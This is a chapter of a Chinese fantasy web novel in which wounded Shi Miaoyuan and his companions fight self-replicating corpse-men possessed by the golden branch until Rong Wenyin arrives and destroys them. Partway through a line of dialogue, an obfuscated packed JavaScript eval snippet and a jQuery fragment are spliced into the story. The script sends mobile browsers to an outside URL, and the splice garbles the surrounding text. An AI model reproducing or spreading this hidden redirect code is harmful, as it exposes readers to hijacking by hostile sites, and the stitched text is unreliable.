时妙原哇地吐出一大口血,身体一软支撑不住半跪在了地上。
他颤抖着将手抬起攥紧成拳,那些偷袭荣观真的金叶顷刻被隔空捏成了碎片。
然后,他慢慢收回翅膀,瘫倒在地,留下了一地污血,满背伤洞,以及一个几乎濒临崩溃的荣观真。
“时妙原,时妙原?你还好吗?你没事吧!!!”荣观真手忙脚乱地将他抱进了怀里,无弗渡当啷落地,方才被擦拭干净的剑柄转眼又被鲜血染得通红。可现在他根本就无暇去管这些,他眼里就只有时妙原比纸还要苍白的嘴唇。
“咳……我,我还好!我没事,你不用管我!”时妙原努力咽下了涌到喉头的血气,“金顶枝跑了,你快去追!我还需要一点时间,我……让我在这儿再缓缓,你先去……”
“不行!这里太危险了,我不能把你一个人扔下来!”
“都,都这种时候了!就别你我我你的了!”时妙原焦急地说,“再不去追金顶枝,我们这些努力就全白费了!”
“白费就白费!”荣观真大喊道,“如果要放弃你才能抓住它,那我宁愿拿我自己的命去换!”
“你这死孩子,你在拿自己开什么玩笑呢?!”时妙原被他噎得差点又吐出一口老血,他正想再训斥两句,却感到心口一阵湿濡,他错愕地抬头望去,被眼前的景象惊在了原地。
荣观真竟然哭了。
他憋得满脸通红,泪水在眼眶中来回打转,还是滴滴答答地往下直落。他哭得安静又伤心,就好像受了什么天大的委屈一样。
“你……”时妙原一时语塞。
“你俩这是什么情况?!”
花楼门被猛地踹开,是施浴霞持刀闯了进来。金叶们一见她便纷纷后撤,她看清时妙原身上的伤势,一个箭步冲到了他的身边:“你别动,我来给你疗伤!”
时妙原连连摆手:“不用!我有金羽!我自己就可以……”
“你别扯了,金羽也是你自己的东西,医者难自医的道理你还能不知道吗?”施浴霞迅速念起了咒语,屋内霞光阵阵,时妙原身上的伤口迅速开始愈合,与此同时,那些蠢蠢欲动的金叶也不约而同地退缩到了角落。
施浴霞懊恼地问:“到底怎么回事,不过半天功夫你们怎么就把自己弄成了这样?那边都是些什么东西?我记得鬼魈原来不长这样吧!我明明就在外面,为什么我没看到它们进来啊!”
“咳……因为来的不止有鬼魈,金顶枝就附在它身上,你刚才估计是被魇住了才没有看见!”
时妙原赶忙解释道:“依我看,金顶枝的宿主很有可能是上一个使用它的人!我来之前查过,那人生前应该是个书生,不知用什么办法得到了金顶枝,便用它来追忆亡妻,结果一不小心被它反噬附体,身死后怨气化形成了山鬼魈!阿真,你记不记得我之前对你说的故事?当时我以为金顶枝只是被偷了或者丢了,但我现在觉得,这玩意儿应该是自己设计陷害了宿主!”
施浴霞问:“你说它本来是人,那他的尸身现在在哪?”
“不就在这……哎?”
时妙原浑身血液倒流:
他发现山鬼魈的尸体不见了。
又或者说,原本的那具不见了,但屋子了多了好些和它差别不大的复制品。
在他们交谈时,屋内其余的金叶已悄摸转变了形态。它们慢慢变软,慢慢凝聚,慢慢变大,慢慢站起,慢慢生出四肢与头颅,慢慢变成了许多枯瘦干巴的尸人。
花楼内本就空间有限,尸人们站起来后,就更是将门窗都堵了个严严实实。
它们的动作迟缓、举止僵硬,浑浊的眼睛都盯着同一个方向——它们的目标都是时妙原。
“娘子……”
它们浑浑噩噩地念道。
“娘子……娘子。”
“你为何如此待我……你为何背弃信义……”
“我们难道……我们难道不是至亲至爱的夫妻么?”
其中一具尸人说着便向时妙原扑来,施浴霞果断上前一步挥刀将它劈成了两半。它的上下半身在地上挣扎片刻,竟又再站起来,分化成了两个大小完全一致的个体。
施浴霞失声尖叫:“我操!这什么鬼东西!”
“小孩子家家的注意言辞!”时妙原擦干净脸上的血,在荣观真的搀扶下站了起来。他有些艰难地说:“如你所见,这些……呼……这些全都是金顶枝的杰作!”
尸人的身形干瘪,而它们的前额上则都嵌着一枚金叶,金顶枝的根系正在其皮下不断涌动,它扎得越深,其宿主的动作就越发流畅。
它们不断向前逼近,荣观真将无弗渡从地上拾了起来,稍作思考之后,他把手搭到了三度厄的剑柄上。时妙原立刻制止了他:“你别,三度厄是派不上用场的。你刚才也见到了,纯粹砍杀根本无法阻止尸人增生,这玩意本质是不得超度的怨灵,它们与金顶枝相辅相成,你要么就想办法渡化它们,要么就只能让它们彻底魂飞魄散。”
“渡化?照理说无弗渡是可以的……”荣观真望着无弗渡自言自语道,“它可以唤官将首附体,若是使用得当就能彻底杀渡冤魂,但是我现在还不会用它!早知道我就……”
施浴霞插话道:“既然硬碰硬不顶用,那我们就想想其余办法吧!我的万霞能照出恶鬼本相,还可以暂时牵制住怨灵,等下不如我打头阵,荣护法负责殿后,时妙原,你飞得快,我们打起来了你就赶快逃跑!逃出去以后你去东越山,到东天门太浩殿报我的名字就会有人来帮我们了!怎么样?”
“不怎么样!”时妙原当即否决了她的提议,“这里离东越山十万八千里远,等我到了你俩估计连骨头渣子都不剩几根了,你们别逞强,这事儿光凭咱们根本就管不了!”
“那你是要我们就在这等死吗?”施浴霞瞪大了眼睛,“我们死了不过灵识回归天地,大不了重新做花做草做回石头,村子里那些人要是出了什么问题,可没法像咱们这样潇洒!”
“小霞,时妙原,你们都退后。”
荣观真向前一步将他们挡在了身后:“出去搬救兵的确不现实,我虽实力不济,和这些东西斗上几个回合还是不成问题的。等下我先上,你们去挨家挨户把人全部转移走,我今天死在这无所谓,但是绝不能让这些鬼东西离
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16291774|180435||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
开这里。”
“你俩给我适可而止!”
时妙原忍无可忍,给这两个小屁孩一人来了一爆栗:“我真受不了你们这些臭小孩了,怎么动不动就死死活活要魂要命的什么鬼话都往外瞎讲?!我说了要等死了吗?我叫你们搁这跟我演苦情戏了吗?我看你们平时修炼起来是三天打鱼两天晒网,正事不做一点就知道跑去赶大集看民间戏本子!我的意思是现在已经不需要咱们动手了,两位未来的山神奶奶山神老爷,你俩法力无边,不会一点儿都没有察觉到吧?”
“你在说什么啊?嘶痛……痛痛……”施浴霞捂着脑门,欲哭无泪地问:“不需要咱们动手,难道老天爷能突然甩两道雷下来把它们都劈了不成?”
“哎,还真给你说对了。”
时妙原突然笑了。
他指着天花板说:“咱们的靠山来了,你难道没发现吗?”
“啊?”
天边传来了一阵密集的鼓点声。
那节拍不远不近,似一片轻盈的柳絮,随着风摇摇摆摆地靠近了彼岸。
可柳絮的脚步并不会如此沉闷,仔细听来的话……那更像是接续不断的雷鸣。
尸人们突然止住了脚步。
它们不约而同站住,不约而同仰头,不约而同张开了嘴巴。从旁观的视角看,它们就好像一群正等待上天垂怜,降下甘露与救赎的河鱼。
咚,咚,咚。花楼连震三下。
施浴霞还在查找声源,时妙原冷不丁拍了拍她的肩膀:“别看了,蹲下。”
紧接着他对荣观真说:“阿真,抱我。”
荣观真下意识张开了双臂。
他才刚搂住时妙原的腰,下一秒,刺眼的月光便如洪波般灌进了整个房间。
明月炽烈如日,晚风冷冽如泉。
房顶不翼而飞,四周的木墙呈斜切状被整齐地劈了开来。
尸人们躲避不及,有的脑袋被切了一半,有的只剩下了下半部分的身体。耳畔传来重物落地的声响,施浴霞探出脑袋一看,原来是花楼的屋顶被完好无损地放到了地上。
“……啊?”她震惊地瞪大了眼睛。
“哎……?”荣观真张大了嘴巴。
“嗨!嗨嗨嗨!”
时妙原对月亮挥舞双手:“在这里!看我!我们都在这儿呢!”
天空明月高悬,月边清云流淌。月上灰影斑驳,那并非蟾宫在人间的投射,而是一个背手悬立于空中的灰影。
荣观真望向天空,短短几秒钟内,他的表情紧张到疑惑,再到不可置信,然后——
他欣喜若狂。
在他叫出声来之前,施浴霞率先如弹簧般从地上跳了起来。
她拍干净身上的灰尘,捋好头发,兴奋地冲天空大喊道:“闻音娘娘——闻音娘娘!居然是您!您真的来了!我,我没想到居然真的能在这见到您!!!!”
山间吹来一轮清风,荣闻音如一片薄云般悬停在花楼上空。她左手抓着方才逃之夭夭的金顶枝主体,右手则掐着根其貌不扬的树枝。她轻轻点点枝条,那些正欲分裂再起的尸人便全都被炸作了黑雾。